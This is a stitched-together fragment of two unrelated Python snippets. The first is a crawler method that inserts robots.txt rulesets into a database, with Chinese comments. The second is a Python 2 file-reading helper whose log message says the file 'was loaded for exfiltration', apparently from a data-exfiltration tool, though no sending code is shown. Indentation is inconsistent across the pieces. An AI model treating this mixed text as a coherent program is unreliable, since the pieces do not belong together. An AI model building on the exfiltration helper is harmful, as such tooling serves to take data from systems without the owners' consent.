def insertRuleset(self, ruleset, domain):
		'''增加一个robots.txt规则集'''
		cur = self.conn.cursor()
		cur.execute("SELECT did FROM Domains WHERE domain=?", (domain,))
		did = cur.fetchone()[0]
		cur.execute("INSERT INTO Rulesets VALUES (NULL,?,?)",(did, ruleset))
		# 写入到文件
		self.conn.commit()
def _getFileContent(self, file_path):
        try:
            f = open(file_path, 'rb')
            data = f.read()
            f.close()
            sys.stdout.write("[+]\tFile '%s' was loaded for exfiltration.\n" % file_path)
            return data
        except IOError, e:
            sys.stderr.write("[-]\tUnable to read file '%s'.\n%s.\n" % (file_path, e))
            return 1